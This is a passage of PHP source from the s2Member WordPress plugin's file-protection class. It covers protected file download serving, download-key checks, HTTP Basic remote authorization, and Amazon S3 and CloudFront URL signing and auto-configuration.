															if(apply_filters("ws_plugin__s2member_flush_file_downloads_w_content_length", true, get_defined_vars()))
																header("Content-Length: ".$length);
															/**/
															while(!feof($resource) && ($flush_size = strlen($data = fread($resource, $_flush_size))))
																eval /* Conserves memory. */('echo $data; @flush ();');
														}
													else if /* Else, use: ``file_get_contents()``. */($length)
														{
															@ini_set("memory_limit", WP_MAX_MEMORY_LIMIT);
															header("Content-Length: ".$length).exit(file_get_contents($file));
														}
													else /* Else, we have an empty file with no length. */
														{
															header("Content-Length: 0").exit();
														}
												}
										}
								}
							/**/
							else if /* We only need this section when/if we're actually serving. */($serving && $req["file_download"])
								status_header(503).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
								.exit(_x('<strong>503: Access denied.</strong> Invalid File Download specs.', "s2member-front", "s2member"));
							/**/
							else if /* We only need this section when/if we're creating a URL. */($creating)
								return false;
						/**/
						do_action("ws_plugin__s2member_after_file_download_access", get_defined_vars());
						/**/
						return ($creating) ? /* If creating, false. */ false : null;
					}
				/**
				* Generates a File Download URL for access to a file protected by s2Member.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param array $config Required. This is an array of configuration options associated with permissions being checked against the current User/Member; and also the actual URL generated by this routine.
				* 	Possible ``$config`` array elements: `file_download` *(required)*, `file_download_key`, `file_stream`, `file_inline`, `file_storage`, `file_remote`, `file_ssl`, `file_rewrite`, `file_rewrite_base`, `skip_confirmation`, `url_to_storage_source`, `count_against_user`, `check_user`.
				* @param bool $get_streamer_array Optional. Defaults to `false`. If `true`, this function will return an array with the following elements: `streamer`, `file`, `url`. For further details, please review this section in your Dashboard: `s2Member -> Download Options -> JW Player® & RTMP Protocol Examples`.
				* @return str A File Download URL string on success; or an array on success, with elements `streamer`, `file`, `url` when/if ``$get_streamer_array`` is true; else false on any type of failure.
				*
				* @see s2Member\API_Functions\s2member_file_download_url()
				*/
				public static function create_file_download_url($config = FALSE, $get_streamer_array = FALSE)
					{
						eval('foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;');
						do_action("ws_plugin__s2member_before_create_file_download_url", get_defined_vars());
						unset($__refs, $__v); /* Unset defined __refs, __v. */
						/**/
						$config = (is_array($config)) ? $config : /* This absolutely MUST be an array. */ array();
						/**/
						$config["file_download"] = (isset($config["file_download"]) && is_string($config["file_download"])) ? trim($config["file_download"], "/") : @$config["file_download"];
						$config["file_download_key"] = (isset($config["file_download"]) && is_string($config["file_download"]) && !empty($config["file_download_key"])) ? c_ws_plugin__s2member_files::file_download_key($config["file_download"], ((in_array($config["file_download_key"], array("ip-forever", "universal", "cache-compatible"))) ? $config["file_download_key"] : false)) : @$config["file_download_key"];
						/**/
						$config["url_to_storage_source"] = /* Force a streaming URL here via ``$get_streamer_array``? */ ($get_streamer_array) ? true : @$config["url_to_storage_source"];
						$config["file_stream"] = /* Force a streaming URL here via ``$get_streamer_array``? */ ($get_streamer_array) ? true : @$config["file_stream"];
						/**/
						if(($_url = c_ws_plugin__s2member_files_in::check_file_download_access /* Successfully created a URL to the file? */(($create_file_download_url = $config))))
							{
								eval('foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;');
								do_action("ws_plugin__s2member_during_create_file_download_url", get_defined_vars());
								unset($__refs, $__v); /* Unset defined __refs, __v. */
								/**/
								$extension = strtolower(substr($config["file_download"], strrpos($config["file_download"], ".") + 1));
								$streaming = (isset($config["file_stream"])) ? filter_var($config["file_stream"], FILTER_VALIDATE_BOOLEAN) : ((in_array($extension, preg_split("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["file_download_stream_extensions"]))) ? true : false);
								$ssl = (isset($config["file_ssl"])) ? filter_var($config["file_ssl"], FILTER_VALIDATE_BOOLEAN) : ((is_ssl()) ? true : false);
								/**/
								if($get_streamer_array && $streaming && ($cfx = "/cfx/st") && ($cfx_pos = strpos($_url, $cfx)) !== false && ($streamer = substr($_url, 0, $cfx_pos + strlen($cfx))) && ($url = c_ws_plugin__s2member_files_in::check_file_download_access(array_merge($config, array("file_stream" => false, "check_user" => false, "count_against_user" => false)))))
									$return = array("streamer" => $streamer, "file" => preg_replace("/^".preg_quote($streamer, "/")."\//", "", $_url), "url" => preg_replace("/^.+?\:/", (($ssl) ? "https:" : "http:"), $url));
								/**/
								else if($get_streamer_array && $streaming && is_array($ups = c_ws_plugin__s2member_utils_urls::parse_url($_url)) && isset($ups["scheme"], $ups["host"]) && ($streamer = $ups["scheme"]."://".$ups["host"].((!empty($ups["port"])) ? ":".$ups["port"] : "")) && ($url = c_ws_plugin__s2member_files_in::check_file_download_access(array_merge($config, array("file_stream" => false, "check_user" => false, "count_against_user" => false)))))
									$return = array("streamer" => $streamer, "file" => preg_replace("/^".preg_quote($streamer, "/")."\//", "", $_url), "url" => preg_replace("/^.+?\:/", (($ssl) ? "https:" : "http:"), $url));
								/**/
								else if /* If streamer, we MUST return false here; unable to acquire streamer/file. */($get_streamer_array)
									$return = /* We MUST return false here, unable to acquire streamer/file. */ false;
								/**/
								else /* Else return URL string ( ``$get_streamer_array`` is false ). */
									$return = /* Else return URL string. */ $_url;
							}
						/**/
						return apply_filters("ws_plugin__s2member_create_file_download_url", ((isset($return)) ? $return : false), get_defined_vars());
					}
				/**
				* Checks Header Authorization for Remote File Downloads.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @attaches-to ``add_filter("ws_plugin__s2member_check_file_download_access_user");``
				*
				* @param obj $user Expects a WP_User object passed in by the Filter.
				* @return obj A `WP_User` object, possibly obtained through Header Authorization.
				*/
				public static function check_file_remote_authorization($user = FALSE)
					{
						eval('foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;');
						do_action("ws_plugin__s2member_before_check_file_remote_authorization", get_defined_vars());
						unset($__refs, $__v); /* Unset defined __refs, __v. */
						/**/
						$_g = c_ws_plugin__s2member_utils_strings::trim_deep(stripslashes_deep(((!empty($_GET)) ? $_GET : array())));
						/**/
						if(!is_object($user) && isset($_g["s2member_file_remote"]) && filter_var($_g["s2member_file_remote"], FILTER_VALIDATE_BOOLEAN))
							{
								do_action("ws_plugin__s2member_during_check_file_remote_authorization_before", get_defined_vars());
								/**/
								if(empty($_SERVER["PHP_AUTH_USER"]) || empty($_SERVER["PHP_AUTH_PW"]) || !user_pass_ok($_SERVER["PHP_AUTH_USER"], $_SERVER["PHP_AUTH_PW"]))
									{
										header('WWW-Authenticate: Basic realm="'.c_ws_plugin__s2member_utils_strings::esc_dq(strip_tags(_x("Members Only", "s2member-front", "s2member"))).'"');
										/**/
										status_header /* Send an unauthorized 401 status header now. */(401);
										header /* Content-Type with UTF-8. */("Content-Type: text/html; charset=utf-8");
										eval /* End/clean any output buffers that may exist. */('while (@ob_end_clean ());');
										/**/
										exit(_x('<strong>401:</strong> Sorry, access denied.', "s2member-front", "s2member"));
									}
								else if(is_object($_user = new WP_User($_SERVER["PHP_AUTH_USER"])) && !empty($_user->ID))
									$user = /* Now assign ``$user``. */ $_user;
								/**/
								do_action("ws_plugin__s2member_during_check_file_remote_authorization_after", get_defined_vars());
							}
						return apply_filters("ws_plugin__s2member_check_file_remote_authorization", $user, get_defined_vars());
					}
				/**
				* Checks a File Download Key for validity.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $file Input File Download to validate.
				* @param str $key Input File Download Key to validate.
				* @return bool True if valid, else false.
				*/
				public static function check_file_download_key($file = FALSE, $key = FALSE)
					{
						eval('foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;');
						do_action("_ws_plugin__s2member_before_check_file_download_key", get_defined_vars());
						unset($__refs, $__v); /* Unset defined __refs, __v. */
						/**/
						if($file && is_string($file) && ($file = trim($file, "/")) && $key && is_string($key))
							{
								if($key === c_ws_plugin__s2member_files::file_download_key($file) || $key === c_ws_plugin__s2member_files::file_download_key("/".$file))
									$valid = /* File Download Key is valid. */ true;
								else if($key === c_ws_plugin__s2member_files::file_download_key($file, "ip-forever") || $key === c_ws_plugin__s2member_files::file_download_key("/".$file, "ip-forever"))
									$valid = /* File Download Key is valid. */ true;
								else if($key === c_ws_plugin__s2member_files::file_download_key($file, "universal") || $key === c_ws_plugin__s2member_files::file_download_key("/".$file, "universal"))
									$valid = /* File Download Key is valid. */ true;
							}
						return apply_filters("ws_plugin__s2member_check_file_download_key", ((isset($valid) && $valid) ? true : false), get_defined_vars());
					}
				/**
				* Creates an Amazon® S3 HMAC-SHA1 signature.
				*
				* @package s2Member\Files
				* @since 110524RC
				*
				* @param str $string Input string/data, to be signed by this routine.
				* @return str An HMAC-SHA1 signature for Amazon® S3.
				*/
				public static function amazon_s3_sign($string = FALSE)
					{
						$s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
						/**/
						return c_ws_plugin__s2member_utils_strings::hmac_sha1_sign((string)$string, $s3c["secret_key"]);
					}
				/**
				* Creates an Amazon® S3 HMAC-SHA1 signature URL.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $file Input file path, to be signed by this routine.
				* @param bool $stream Is this resource file to be served as streaming media?
				* @param bool $inline Is this resource file to be served inline, or no?
				* @param bool $ssl Is this resource file to be served via SSL, or no?
				* @param str $basename The absolute basename of the resource file.
				* @param str $mimetype The MIME content-type of the resource file.
				* @return str An HMAC-SHA1 signature URL for Amazon® S3.
				*/
				public static function amazon_s3_url($file = FALSE, $stream = FALSE, $inline = FALSE, $ssl = FALSE, $basename = FALSE, $mimetype = FALSE)
					{
						$file = /* Trim / force string. */ trim((string)$file, "/");
						/**/
						foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_s3_files_/", $option) && ($option = preg_replace("/^amazon_s3_files_/", "", $option)))
								$s3c[$option] = $option_value;
						/**/
						$s3c["expires"] = strtotime("+".apply_filters("ws_plugin__s2member_amazon_s3_file_expires_time", "30 seconds", get_defined_vars()));
						/**/
						$s3_file = add_query_arg(c_ws_plugin__s2member_utils_strings::urldecode_ur_chars_deep(urlencode_deep(array("response-cache-control" => ($s3_cache_control = "no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0"), "response-content-disposition" => ($s3_content_disposition = (((bool)$inline) ? "inline" : "attachment").'; filename="'.(string)$basename.'"'), "response-content-type" => ($s3_content_type = (string)$mimetype), "response-expires" => ($s3_expires = gmdate("D, d M Y H:i:s", strtotime("-1 week"))." GMT")))), "/".$file);
						$s3_raw_file = add_query_arg(array("response-cache-control" => $s3_cache_control, "response-content-disposition" => $s3_content_disposition, "response-content-type" => $s3_content_type, "response-expires" => $s3_expires), "/".$file);
						$s3_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_s3_sign("GET\n\n\n".$s3c["expires"]."\n"."/".$s3c["bucket"].$s3_raw_file));
						/**/
						$s3_url = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "http".(($ssl) ? "s" : "")."://s3.amazonaws.com/".$s3c["bucket"].$s3_file : "http".(($ssl) ? "s" : "")."://".$s3c["bucket"].".s3.amazonaws.com".$s3_file;
						/**/
						return add_query_arg(c_ws_plugin__s2member_utils_strings::urldecode_ur_chars_deep /* Don't encode unreserved chars. Maximizes media player compatibility. */
						(urlencode_deep(array("AWSAccessKeyId" => $s3c["access_key"], "Expires" => $s3c["expires"], "Signature" => $s3_signature))), $s3_url);
					}
				/**
				* Auto-configures an Amazon® S3 Bucket's ACLs.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @return array Array containing a true `success` element on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_s3_auto_configure_acls()
					{
						foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_s3_files_/", $option) && ($option = preg_replace("/^amazon_s3_files_/", "", $option)))
								$s3c[$option] = $option_value;
						/**/
						$cfc["distros_s3_access_id"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_cf_files_distros_s3_access_id"];
						/**/
						if /* Must have Amazon® S3 Bucket/Keys. */($s3c["bucket"] && $s3c["access_key"] && $s3c["secret_key"])
							{
								$s3_date = gmdate("D, d M Y H:i:s")." GMT";
								$s3_location = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "/".$s3c["bucket"]."/?acl" : "/?acl";
								$s3_domain = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "s3.amazonaws.com" : $s3c["bucket"].".s3.amazonaws.com";
								$s3_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_s3_sign("GET\n\n\n".$s3_date."\n/".$s3c["bucket"]."/?acl"));
								$s3_args = array("method" => "GET", "redirection" => 0, "headers" => array("Host" => $s3_domain, "Date" => $s3_date, "Authorization" => "AWS ".$s3c["access_key"].":".$s3_signature));
								/**/
								if(($s3_response = c_ws_plugin__s2member_utils_urls::remote("https://".$s3_domain.$s3_location, false, array_merge($s3_args, array("timeout" => 20)), "array")) && $s3_response["code"] === 200)
									{
										if(preg_match("/\<Owner\>(.+?)\<\/Owner\>/is", $s3_response["body"], $s3_owner_tag) && preg_match("/\<ID\>(.+?)\<\/ID\>/is", $s3_owner_tag[1], $s3_owner_id_tag) && (preg_match("/\<DisplayName\>(.*?)\<\/DisplayName\>/is", $s3_owner_tag[1], $s3_owner_display_name_tag) || ($s3_owner_display_name_tag = array("-", "Owner"))))
											{
												$s3_owner = array("access_id" => trim($s3_owner_id_tag[1]), "display_name" => trim($s3_owner_display_name_tag[1]));
												$s3_acls_xml = '<AccessControlPolicy><Owner><ID>'.esc_html($s3_owner["access_id"]).'</ID><DisplayName>'.esc_html($s3_owner["display_name"]).'</DisplayName></Owner><AccessControlList><Grant><Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser"><ID>'.esc_html($s3_owner["access_id"]).'</ID><DisplayName>'.esc_html($s3_owner["display_name"]).'</DisplayName></Grantee><Permission>FULL_CONTROL</Permission></Grant>'.(($cfc["distros_s3_access_id"]) ? '<Grant><Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser"><ID>'.esc_html($cfc["distros_s3_access_id"]).'</ID><DisplayName>s2Member/CloudFront</DisplayName></Grantee><Permission>READ</Permission></Grant>' : '').'</AccessControlList></AccessControlPolicy>';
												$s3_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_s3_sign("PUT\n\napplication/xml\n".$s3_date."\n/".$s3c["bucket"]."/?acl"));
												$s3_args = array("method" => "PUT", "redirection" => 0, "body" => $s3_acls_xml, "headers" => array("Host" => $s3_domain, "Content-Type" => "application/xml", "Date" => $s3_date, "Authorization" => "AWS ".$s3c["access_key"].":".$s3_signature));
												/**/
												if(($s3_response = c_ws_plugin__s2member_utils_urls::remote("https://".$s3_domain.$s3_location, false, array_merge($s3_args, array("timeout" => 20)), "array")) && $s3_response["code"] === 200)
													{
														$s3_location = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "/".$s3c["bucket"]."/?policy" : "/?policy";
														($s3_policy_id = md5(uniqid("s2Member/CloudFront:", true))).($s3_policy_sid = md5(uniqid("s2Member/CloudFront:", true)));
														$s3_policy_json = '{"Version":"2008-10-17","Id":"'.c_ws_plugin__s2member_utils_strings::esc_dq($s3_policy_id).'","Statement":[{"Sid":"'.c_ws_plugin__s2member_utils_strings::esc_dq($s3_policy_sid).'","Effect":"Allow","Principal":{"CanonicalUser":"'.c_ws_plugin__s2member_utils_strings::esc_dq($cfc["distros_s3_access_id"]).'"},"Action":"s3:GetObject","Resource":"arn:aws:s3:::'.c_ws_plugin__s2member_utils_strings::esc_dq($s3c["bucket"]).'/*"}]}';
														$s3_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_s3_sign("PUT\n\napplication/json\n".$s3_date."\n/".$s3c["bucket"]."/?policy"));
														$s3_args = array("method" => "PUT", "redirection" => 0, "body" => $s3_policy_json, "headers" => array("Host" => $s3_domain, "Content-Type" => "application/json", "Date" => $s3_date, "Authorization" => "AWS ".$s3c["access_key"].":".$s3_signature));
														/**/
														if(!$cfc["distros_s3_access_id"] || (($s3_response = c_ws_plugin__s2member_utils_urls::remote("https://".$s3_domain.$s3_location, false, array_merge($s3_args, array("timeout" => 20)), "array")) && ($s3_response["code"] === 200 || $s3_response["code"] === 204 /* Also OK. */)))
															{
																$s3_location = ((strtolower($s3c["bucket"]) !== $s3c["bucket"])) ? "/".$s3c["bucket"]."/crossdomain.xml" : "/crossdomain.xml";
																$s3_policy_xml = trim(c_ws_plugin__s2member_utilities::evl(file_get_contents(dirname(dirname(__FILE__))."/templates/cfg-files/s2-cross-xml.php")));
																$s3_signature = base64_encode(c_ws_plugin__s2member_files_in::amazon_s3_sign("PUT\n\ntext/xml\n".$s3_date."\nx-amz-acl:public-read\n/".$s3c["bucket"]."/crossdomain.xml"));
																$s3_args = array("method" => "PUT", "redirection" => 0, "body" => $s3_policy_xml, "headers" => array("Host" => $s3_domain, "Content-Type" => "text/xml", "Date" => $s3_date, "X-Amz-Acl" => "public-read", "Authorization" => "AWS ".$s3c["access_key"].":".$s3_signature));
																/**/
																if(($s3_response = c_ws_plugin__s2member_utils_urls::remote("https://".$s3_domain.$s3_location, false, array_merge($s3_args, array("timeout" => 20)), "array")) && $s3_response["code"] === 200)
																	return /* Successfully configured Amazon® S3 Bucket ACLs and Policy. */ array("success" => true, "code" => null, "message" => null);
																/**/
																else if(isset($s3_response["code"], $s3_response["message"]))
																	/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® S3 API call. Feel free to exclude `%s` if you like. */
																	return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to update existing Amazon® S3 Cross-Domain Policy. %s", "s2member-admin", "s2member"), $s3_response["message"]));
																/**/
																else /* Else, we use a default error code and message. */
																	return array("success" => false, "code" => -94, "message" => _x("Unable to update existing Amazon® S3 Cross-Domain Policy. Connection failed.", "s2member-admin", "s2member"));
															}
														else if(isset($s3_response["code"], $s3_response["message"]))
															/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® S3 API call. Feel free to exclude `%s` if you like. */
															return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to update existing Amazon® S3 Bucket Policy. %s", "s2member-admin", "s2member"), $s3_response["message"]));
														/**/
														else /* Else, we use a default error code and message. */
															return array("success" => false, "code" => -95, "message" => _x("Unable to update existing Amazon® S3 Bucket Policy. Connection failed.", "s2member-admin", "s2member"));
													}
												else if(isset($s3_response["code"], $s3_response["message"]))
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® S3 API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to update existing Amazon® S3 Bucket ACLs. %s", "s2member-admin", "s2member"), $s3_response["message"]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -96, "message" => _x("Unable to update existing Amazon® S3 Bucket ACLs. Connection failed.", "s2member-admin", "s2member"));
											}
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -97, "message" => _x("Unable to acquire/read existing Amazon® S3 Bucket ACLs. Unexpected response.", "s2member-admin", "s2member"));
									}
								else if(isset($s3_response["code"], $s3_response["message"]))
									/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® S3 API call. Feel free to exclude `%s` if you like. */
									return array("success" => false, "code" => $s3_response["code"], "message" => sprintf(_x("Unable to acquire existing Amazon® S3 Bucket ACLs. %s", "s2member-admin", "s2member"), $s3_response["message"]));
								/**/
								else /* Else, we use a default error code and message. */
									return array("success" => false, "code" => -98, "message" => _x("Unable to acquire existing Amazon® S3 Bucket ACLs. Connection failed.", "s2member-admin", "s2member"));
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to auto-configure existing Amazon® S3 Bucket ACLs. Incomplete Amazon® S3 configuration options. Missing one of: Amazon® S3 Bucket, Access Key, or Secret Key.", "s2member-admin", "s2member"));
					}
				/**
				* Creates an Amazon® CloudFront HMAC-SHA1 signature.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $string Input string/data, to be signed by this routine.
				* @return str An HMAC-SHA1 signature for Amazon® CloudFront.
				*/
				public static function amazon_cf_sign($string = FALSE)
					{
						$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
						/**/
						return c_ws_plugin__s2member_utils_strings::hmac_sha1_sign((string)$string, ($cfc["secret_key"] = $s3c["secret_key"]));
					}
				/**
				* Creates an Amazon® CloudFront RSA-SHA1 signature.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $string Input string/data, to be signed by this routine.
				* @return str|bool An RSA-SHA1 signature for Amazon® CloudFront, else false on failure.
				*
				* @todo Double underscores *( i.e. base64 padding chars )* in the signature seem to cause issues for Amazon® CloudFront?
				* 	See ticket: {@link https://forums.aws.amazon.com/thread.jspa?messageID=286182&#286182}
				*/
				public static function amazon_cf_rsa_sign($string = FALSE)
					{
						$cfc["private_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_cf_files_private_key"];
						/**/
						return c_ws_plugin__s2member_utils_strings::rsa_sha1_sign((string)$string, $cfc["private_key"]);
					}
				/**
				* Creates an Amazon® CloudFront RSA-SHA1 signature URL.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @param str $file Input file path, to be signed by this routine.
				* @param bool $stream Is this resource file to be served as streaming media?
				* @param bool $inline Is this resource file to be served inline, or no?
				* @param bool $ssl Is this resource file to be served via SSL, or no?
				* @param str $basename The absolute basename of the resource file.
				* @param str $mimetype The MIME content-type of the resource file.
				* @return str An RSA-SHA1 signature URL for Amazon® CloudFront.
				*/
				public static function amazon_cf_url($file = FALSE, $stream = FALSE, $inline = FALSE, $ssl = FALSE, $basename = FALSE, $mimetype = FALSE)
					{
						$file = /* Trim / force string. */ trim((string)$file, "/");
						/**/
						foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
								$cfc[$option] = $option_value;
						/**/
						$cfc["expires"] = strtotime("+".apply_filters("ws_plugin__s2member_amazon_cf_file_expires_time", "24 hours", get_defined_vars()));
						/**/
						$cf_extn = /* Parses the file extension out so we can scan it in some special scenarios. */ strtolower(substr($file, strrpos($file, ".") + 1));
						$cf_ip_res = /* Do NOT restrict access to a particular IP during `localhost` development. The IP may NOT be the same one Amazon® CloudFront sees. */ (c_ws_plugin__s2member_utils_conds::is_localhost()) ? false : true;
						$cf_stream_extn_resource_exclusions = array_unique((array)apply_filters("ws_plugin__s2member_amazon_cf_file_streaming_extension_resource_exclusions", array("mp3" /* MP3 files should NOT include an extension in their resource reference. */), get_defined_vars()));
						$cf_resource = ($stream) ? ((in_array($cf_extn, $cf_stream_extn_resource_exclusions)) ? substr($file, 0, strrpos($file, ".")) : $file) : "http".(($ssl) ? "s" : "")."://".(($cfc["distro_downloads_cname"]) ? $cfc["distro_downloads_cname"] : $cfc["distro_downloads_dname"])."/".$file;
						$cf_url = ($stream) ? "rtmp".(($ssl) ? "e" : "")."://".(($cfc["distro_streaming_cname"]) ? $cfc["distro_streaming_cname"] : $cfc["distro_streaming_dname"])."/cfx/st/".$file : "http".(($ssl) ? "s" : "")."://".(($cfc["distro_downloads_cname"]) ? $cfc["distro_downloads_cname"] : $cfc["distro_downloads_dname"])."/".$file;
						$cf_policy = '{"Statement":[{"Resource":"'.c_ws_plugin__s2member_utils_strings::esc_dq($cf_resource).'","Condition":{'.(($cf_ip_res) ? '"IpAddress":{"AWS:SourceIp":"'.c_ws_plugin__s2member_utils_strings::esc_dq($_SERVER["REMOTE_ADDR"]).'/32"},' : '').'"DateLessThan":{"AWS:EpochTime":'.(int)$cfc["expires"].'}}}]}';
						/**/
						$cf_signature = c_ws_plugin__s2member_files_in::amazon_cf_rsa_sign($cf_policy);
						$cf_base64_url_safe_policy = c_ws_plugin__s2member_utils_strings::base64_url_safe_encode($cf_policy, array("+", "=", "/"), array("-", "_", "~"), false);
						$cf_base64_url_safe_signature = c_ws_plugin__s2member_utils_strings::base64_url_safe_encode($cf_signature, array("+", "=", "/"), array("-", "_", "~"), false);
						/**/
						return add_query_arg(c_ws_plugin__s2member_utils_strings::urldecode_ur_chars_deep /* Don't encode unreserved chars. Maximizes media player compatibility. */
						(urlencode_deep(array("Policy" => $cf_base64_url_safe_policy, "Signature" => $cf_base64_url_safe_signature, "Key-Pair-Id" => $cfc["private_key_id"]))), $cf_url);
					}
				/**
				* Auto-configures Amazon® S3/CloudFront distros.
				*
				* @package s2Member\Files
				* @since 110926
				*
				* @return array Array containing a true `success` element on success, else a failure array.
				* 	Failure array will contain a failure `code`, and a failure `message`.
				*/
				public static function amazon_cf_auto_configure_distros()
					{
						foreach($GLOBALS["WS_PLUGIN__"]["s2member"]["o"] as $option => $option_value)
							if(preg_match("/^amazon_cf_files_/", $option) && ($option = preg_replace("/^amazon_cf_files_/", "", $option)))
								$cfc[$option] = $option_value;
						/**/
						$s3c["bucket"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_bucket"];
						$cfc["access_key"] = $s3c["access_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_access_key"];
						$cfc["secret_key"] = $s3c["secret_key"] = $GLOBALS["WS_PLUGIN__"]["s2member"]["o"]["amazon_s3_files_secret_key"];
						/**/
						if /* We MUST have an Amazon® S3 Bucket and Keys. */($s3c["bucket"] && $s3c["access_key"] && $s3c["secret_key"])
							{
								if /* We MUST have Amazon® CloudFront Keys in order to auto-configure. */($cfc["private_key"] && $cfc["private_key_id"])
									{
										if(!$cfc["distro_downloads_id"] || ($cfc["distro_downloads_id"] && ($cf_get_response = c_ws_plugin__s2member_files_in::amazon_cf_get_distro($cfc["distro_downloads_id"], "downloads")) && ($cf_get_response["success"] || $cf_get_response["code"] === 404)))
											{
												if(!$cfc["distro_downloads_id"] || ($cfc["distro_downloads_id"] && $cf_get_response && !$cf_get_response["success"] && $cf_get_response["code"] === 404))
													$cf_distro_downloads_clear = /* Clear, ready for a new one. */ true;
												/**/
												else if($cfc["distro_downloads_id"] && $cf_get_response && $cf_get_response["success"] && !$cf_get_response["deployed"])
													return array("success" => false, "code" => -86, "message" => _x("Unable to delete existing Amazon® CloudFront Downloads Distro. Still in a `pending` state. Please wait 15 minutes, then try again. There is a certain process that s2Member must strictly adhere to when re-configuring your Amazon® CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run s2Member's auto-configuration routine many times, because s2Member will likely run into several `pending` challenges, as it works to completely re-configure your Amazon® CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
												/**/
												else if($cfc["distro_downloads_id"] && $cf_get_response && $cf_get_response["success"] && $cf_get_response["deployed"] && ($cf_del_response = c_ws_plugin__s2member_files_in::amazon_cf_del_distro($cfc["distro_downloads_id"], $cf_get_response["etag"], $cf_get_response["xml"])) && $cf_del_response["success"])
													$cf_distro_downloads_clear = /* Clear, ready for a new one. */ true;
												/**/
												else if(isset($cf_del_response["code"], $cf_del_response["message"]))
													/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
													return array("success" => false, "code" => $cf_del_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon® CloudFront Downloads Distro. %s", "s2member-admin", "s2member"), $cf_del_response["message"]));
												/**/
												if /* Successfully cleared? Ready for a new one? */(isset($cf_distro_downloads_clear) && $cf_distro_downloads_clear)
													{
														unset /* Unset these before processing additional routines. Prevents problems in error reporting. */($cf_get_response, $cf_del_response);
														/**/
														if(!$cfc["distro_streaming_id"] || ($cfc["distro_streaming_id"] && ($cf_get_response = c_ws_plugin__s2member_files_in::amazon_cf_get_distro($cfc["distro_streaming_id"], "streaming")) && ($cf_get_response["success"] || $cf_get_response["code"] === 404)))
															{
																if(!$cfc["distro_streaming_id"] || ($cfc["distro_streaming_id"] && $cf_get_response && !$cf_get_response["success"] && $cf_get_response["code"] === 404))
																	$cf_distro_streaming_clear = /* Clear, ready for a new one. */ true;
																/**/
																else if($cfc["distro_streaming_id"] && $cf_get_response && $cf_get_response["success"] && !$cf_get_response["deployed"])
																	return array("success" => false, "code" => -87, "message" => _x("Unable to delete existing Amazon® CloudFront Streaming Distro. Still in a `pending` state. Please wait 15 minutes, then try again. There is a certain process that s2Member must strictly adhere to when re-configuring your Amazon® CloudFront Distros. You may have to tick the auto-configure checkbox again, and re-run s2Member's auto-configuration routine many times, because s2Member will likely run into several `pending` challenges, as it works to completely re-configure your Amazon® CloudFront Distros for you. Thanks for your patience. Please wait 15 minutes, then try again.", "s2member-admin", "s2member"));
																/**/
																else if($cfc["distro_streaming_id"] && $cf_get_response && $cf_get_response["success"] && $cf_get_response["deployed"] && ($cf_del_response = c_ws_plugin__s2member_files_in::amazon_cf_del_distro($cfc["distro_streaming_id"], $cf_get_response["etag"], $cf_get_response["xml"])) && $cf_del_response["success"])
																	$cf_distro_streaming_clear = /* Clear, ready for a new one. */ true;
																/**/
																else if(isset($cf_del_response["code"], $cf_del_response["message"]))
																	/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon® CloudFront API call. Feel free to exclude `%s` if you like. */
																	return array("success" => false, "code" => $cf_del_response["code"], "message" => sprintf(_x("Unable to delete existing Amazon® CloudFront Streaming Distro. %s", "s2member-admin", "s2member"), $cf_del_response["message"]));
																/**/
